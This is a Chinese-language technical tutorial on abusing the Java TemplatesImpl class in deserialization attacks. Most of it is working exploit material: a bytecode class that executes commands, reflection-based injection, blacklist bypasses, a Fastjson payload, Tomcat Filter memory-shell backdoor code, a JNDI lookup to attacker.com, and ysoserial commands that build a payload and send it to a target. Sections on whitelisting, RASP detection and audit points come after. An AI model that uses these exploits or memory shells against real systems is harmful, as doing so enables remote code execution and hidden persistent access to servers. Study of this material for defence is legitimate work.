Java TemplatesImpl深度利用技术详解
一、核心原理
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是JDK内置的XSLT处理器类,其defineTransletClasses()方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。
核心方法调用链:
TemplatesImpl.newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ ClassLoader.defineClass() // 加载恶意字节码
二、基础利用案例
1. 手动构造攻击链
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) { /* 异常处理 */ }
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
2. 反射注入字节码
TemplatesImpl templates = TemplatesImpl.newInstance();
// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 触发类加载
templates.newTransformer();
反射工具方法:
void setField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
三、绕过技巧
1. JDK高版本适配(JDK 8u71+)
问题: JDK 8u71+修复了AnnotationInvocationHandler的漏洞入口,传统CC链失效。
解决方案:
- 使用TemplatesImpl直接加载字节码:通过构造
_bytecodes字段的恶意类,直接触发defineTransletClasses,无需依赖其他链式调用。 - 结合BCEL编码:通过BCEL(Apache Commons BCEL)将恶意类编码为字符串形式,避免直接使用.class文件触发检测。
// 通过BCEL加载绕过类名检查
String bcelCode = "
$$
BCEL$生成的BCEL字节码";
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
2. 绕过Fastjson私有属性限制
关键参数: Feature.SupportNonPublicField
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
默认情况下,Fastjson无法反序列化私有属性(如_bytecodes)。通过添加该参数,可强制反序列化私有字段。
绕过_tfactory空指针:
设置_tfactory为空对象{},Fastjson会调用其无参构造函数生成默认的TransformerFactoryImpl实例,避免因空指针导致流程终止。
四、内存马注入
Tomcat Filter型内存马
public class MemShell extends AbstractTranslet {
static {
WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) classLoader.getResources().getContext();
// 注入Filter配置
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(this.getClass().getName());
context.addFilterDef(filterDef);
// 添加URL映射
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
}
}
实现逻辑: 在恶意类的静态代码块中,通过反射向当前Tomcat上下文注入自定义Filter,实现持久化后门。
Spring Controller型内存马
利用Spring动态注册机制: 通过反射修改RequestMappingHandlerMapping,注册恶意Controller,拦截特定路径请求。
五、防御对抗
1. 反序列化防护
白名单校验: 使用ValidatingObjectInputStream限制反序列化的类:
// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of("java.lang.String", "java.util.HashMap");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
2. RASP防护(运行时检测)
- 监控defineClass调用: 通过Java Agent拦截
ClassLoader.defineClass,检测非法字节码加载行为。 - Hook关键方法: 监控
TemplatesImpl.newTransformer()和getTransletInstance()的调用栈。
// 使用Java Agent检测defineClass
public class ClassDefineMonitor {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
if (className.contains("Evil")) {
throw new SecurityException("Detected malicious class: " + className);
}
return classfileBuffer;
}, true);
}
}
六、混合利用技巧
1. 结合JNDI注入
当目标环境存在JNDI注入漏洞(如Log4j2)时,通过TemplatesImpl触发远程类加载,绕过本地字节码检测,直接加载远程恶意类。
// 生成包含JNDI触发的字节码
public class JNDILoader extends AbstractTranslet {
static {
try {
new InitialContext().lookup("ldap://attacker.com/Exploit");
} catch (NamingException e) { /* 异常处理 */ }
}
}
// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
2. 结合Fastjson漏洞
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["BASE64_ENCODED_BYTECODE"],
"_name": "Exploit",
"_tfactory": {},
"_outputProperties": {}
}
3. Fastjson + TemplatesImpl + Groovy链
利用Groovy的MethodClosure: 通过Groovy闭包触发命令执行,结合TemplatesImpl加载恶意字节码,形成多链组合攻击:
Transformer[] groovyChain = new Transformer[]{
new ConstantTransformer(new MethodClosure("calc", "execute")),
new InvokerTransformer("call", null, null)
};
七、实战检测命令
字节码生成工具
- Javassist/ASM: 动态构造符合AbstractTranslet规范的恶意类。
- Ysoserial扩展: 自定义Gadget链生成TemplatesImpl专用Payload。
漏洞检测脚本
- 基于堆内存分析: 通过jmap和jhat分析内存中的恶意类实例。
- 流量特征检测: 监控Fastjson请求中是否包含
_bytecodes和@type关键字。
# 使用ysoserial生成TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意Filter
关键审计点与防御建议
代码审计关注点:
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField) // 敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()
防御策略:
- 升级至JDK 8u191+(限制defineClass的使用)
- 使用SerialKiller等安全反序列化库
- 开启SecurityManager并配置严格策略
- 监控defineClass和newTransformer的调用
总结与演进方向
演进趋势:
从单一链式利用向多漏洞链组合发展(如JNDI + TemplatesImpl)。
防御重点:
- 强化字节码加载监控
- 禁用非必要反射操作
- 严格校验反序列化输入
工具推荐:
- 检测: CodeQL定制规则分析defineClass调用路径
- 防护: OpenRASP或Contrast Security实现运行时保护